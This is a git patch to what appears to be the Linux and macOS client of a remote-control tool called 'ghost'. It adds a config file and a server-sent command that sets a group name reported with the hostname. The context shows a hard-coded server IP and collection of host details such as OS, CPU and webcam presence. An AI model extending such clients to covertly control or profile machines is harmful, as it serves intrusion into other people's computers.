From 171fa750e5dae151f1026caf99dd3a0fed9c7ece Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 2 May 2026 00:58:54 +0200 Subject: [PATCH] Feature: Persist group name to config file and include in login info --- linux/main.cpp | 37 ++++++++++++- macos/main.mm | 140 ++++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 173 insertions(+), 4 deletions(-) diff --git a/linux/main.cpp b/linux/main.cpp index 5c4093c..5fa5b83 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -672,6 +672,24 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) if (result != 0) { Mprintf("** [%p] V2 File recv error: %d ***\n", user, result); } + } else if (szBuffer[0] == CMD_SET_GROUP) { + // Extract group name from message (starts at byte 1) + std::string groupName; + if (ulLength > 1) { + groupName = std::string((char*)szBuffer + 1, ulLength - 1); + // Remove trailing nulls + size_t pos = groupName.find('\0'); + if (pos != std::string::npos) { + groupName = groupName.substr(0, pos); + } + } + // Save to config file + LinuxConfig cfg; + cfg.SetStr("group_name", groupName); + // Update global settings + memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName)); + strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); + Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str()); } else { Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); } @@ -1077,8 +1095,23 @@ int main(int argc, char* argv[]) LOGIN_INFOR logInfo; - // 主机名 - strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1); + // 读取分组名称(从配置文件或 g_SETTINGS) + LinuxConfig cfgGroup; + std::string groupName = cfgGroup.GetStr("group_name"); + if (!groupName.empty()) { + // 更新 g_SETTINGS + strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); + } else if (g_SETTINGS.szGroupName[0] != 0) { + groupName = g_SETTINGS.szGroupName; + } + + // 主机名(带分组:hostname/groupname) + if (!groupName.empty()) { + std::string pcNameWithGroup = std::string(hostname) + "/" + groupName; + strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1); + } else { + strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1); + } logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0'; // 操作系统版本(如 "Ubuntu 24.04 LTS") diff --git a/macos/main.mm b/macos/main.mm index 517800f..75003e7 100644 --- a/macos/main.mm +++ b/macos/main.mm @@ -1,5 +1,6 @@ #import #import +#import #import #import #import @@ -12,6 +13,7 @@ #import #import #import +#import #import "../client/IOCPClient.h" #define XXH_INLINE_ALL @@ -32,6 +34,103 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_M State g_bExit = S_CLIENT_NORMAL; +// ============== Configuration File Functions ============== +// Config path: ~/.config/ghost/config.conf (same as Linux) +// Format: key=value (one per line) + +static std::string g_configDir; +static std::string g_configPath; +static std::map g_configData; + +// Initialize config paths +static void initConfigPaths() +{ + if (!g_configDir.empty()) return; // Already initialized + + const char* home = getenv("HOME"); + if (!home) { + struct passwd* pw = getpwuid(getuid()); + if (pw) home = pw->pw_dir; + } + if (!home) home = "/tmp"; + + g_configDir = std::string(home) + "/.config/ghost"; + g_configPath = g_configDir + "/config.conf"; +} + +// Recursively create directory +static void mkdirRecursive(const std::string& path) +{ + size_t pos = 0; + while ((pos = path.find('/', pos + 1)) != std::string::npos) { + mkdir(path.substr(0, pos).c_str(), 0755); + } + mkdir(path.c_str(), 0755); +} + +// Load all config from file +static void loadConfig() +{ + initConfigPaths(); + g_configData.clear(); + + std::ifstream file(g_configPath); + if (!file.is_open()) return; + + std::string line; + while (std::getline(file, line)) { + size_t eq = line.find('='); + if (eq != std::string::npos) { + g_configData[line.substr(0, eq)] = line.substr(eq + 1); + } + } +} + +// Save all config to file +static void saveConfig() +{ + initConfigPaths(); + mkdirRecursive(g_configDir); + + std::ofstream file(g_configPath, std::ios::trunc); + if (!file.is_open()) { + NSLog(@"Failed to save config to %s", g_configPath.c_str()); + return; + } + + for (const auto& kv : g_configData) { + file << kv.first << "=" << kv.second << "\n"; + } + NSLog(@"Config saved to %s", g_configPath.c_str()); +} + +// Get config string value +static std::string getConfigStr(const std::string& key, const std::string& def = "") +{ + auto it = g_configData.find(key); + return it != g_configData.end() ? it->second : def; +} + +// Set config string value +static void setConfigStr(const std::string& key, const std::string& value) +{ + g_configData[key] = value; + saveConfig(); +} + +// Save group name to config file +static void saveGroupName(const std::string& groupName) +{ + setConfigStr("group_name", groupName); + NSLog(@"Group name saved: %s", groupName.c_str()); +} + +// Load group name from config file +static std::string loadGroupName() +{ + return getConfigStr("group_name"); +} + // ============== System Information Functions ============== // Get macOS version string (e.g., "macOS 14.0 Sonoma") @@ -363,9 +462,25 @@ static void fillLoginInfo(LOGIN_INFOR& info) // CPU MHz info.dwCPUMHz = getCPUFrequencyMHz(); - // PC Name (hostname) + // PC Name (hostname) - with group name if set std::string hostname = getHostname(); - strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1); + std::string groupName = loadGroupName(); + if (!groupName.empty()) { + // Also update g_SETTINGS for consistency + strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); + g_SETTINGS.szGroupName[sizeof(g_SETTINGS.szGroupName) - 1] = '\0'; + // Format: "hostname/groupname" + std::string pcNameWithGroup = hostname + "/" + groupName; + strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1); + } else if (g_SETTINGS.szGroupName[0] != 0) { + // Use group from g_SETTINGS (set at build time) + groupName = g_SETTINGS.szGroupName; + std::string pcNameWithGroup = hostname + "/" + groupName; + strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1); + } else { + strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1); + } + info.szPCName[sizeof(info.szPCName) - 1] = '\0'; // Webcam info.bWebCamIsExist = hasCameraDevice() ? 1 : 0; @@ -569,6 +684,23 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) } } else if (szBuffer[0] == COMMAND_NEXT) { Mprintf("** [%p] Received 'NEXT' command ***\n", user); + } else if (szBuffer[0] == CMD_SET_GROUP) { + // Extract group name from message (starts at byte 1) + std::string groupName; + if (ulLength > 1) { + groupName = std::string((char*)szBuffer + 1, ulLength - 1); + // Remove trailing nulls + size_t pos = groupName.find('\0'); + if (pos != std::string::npos) { + groupName = groupName.substr(0, pos); + } + } + // Save to config file + saveGroupName(groupName); + // Update global settings + memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName)); + strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); + Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str()); } else { Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); } @@ -610,6 +742,10 @@ int main(int argc, const char* argv[]) // Setup signal handlers setupSignals(); + // Load configuration file (~/.config/ghost/config.conf) + loadConfig(); + NSLog(@"Config loaded from %s", g_configPath.c_str()); + // Check permissions NSLog(@"Checking permissions...");